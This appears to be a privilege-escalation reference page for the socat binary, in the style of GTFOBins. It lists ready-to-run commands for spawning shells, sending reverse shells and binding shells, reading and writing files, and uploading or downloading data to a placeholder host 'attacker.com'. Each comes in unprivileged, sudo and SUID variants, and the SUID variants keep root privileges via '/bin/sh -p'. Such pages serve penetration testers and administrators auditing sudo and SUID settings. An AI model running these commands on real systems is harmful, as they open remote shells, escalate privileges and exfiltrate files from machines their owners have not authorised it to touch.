.. / socat

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Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
socat - exec:/bin/sh,pty,ctty,raw,echo=0
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat - exec:/bin/sh,pty,ctty,raw,echo=0
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged
This function can be performed by any unprivileged user.
```
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
```
TTY
The spawned shell is just a dummy REPL that can only run simple terminal commands.
Listener
A TCP server can be used on the attacker box to receive the shell.
```
socat file:/dev/tty,raw,echo=0 tcp-listen:12345
```

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

Unprivileged
This function can be performed by any unprivileged user.
```
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
```
TTY
The spawned shell is just a dummy REPL that can only run simple terminal commands.
Connector
A TCP client can be used on the attacker box to receive the shell.
```
socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345
```

File write

This executable can write data to local files.

Comment
The echo command is actually used.
Unprivileged
This function can be performed by any unprivileged user.
```
socat -u 'exec:echo DATA' open:/path/to/output-file,creat
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat -u 'exec:echo DATA' open:/path/to/output-file,creat
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
socat -u 'exec:echo DATA' open:/path/to/output-file,creat
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
socat -u file:/path/to/input-file -
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat -u file:/path/to/input-file -
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
socat -u file:/path/to/input-file -
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
```
Receiver
A TCP server can be used on the attacker box to receive the data.
```
nc -l -p 12345 >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
```
Sender
A TCP server can be used on the attacker box to send the data.
```
nc -l -p 12345 </path/to/input-file
```

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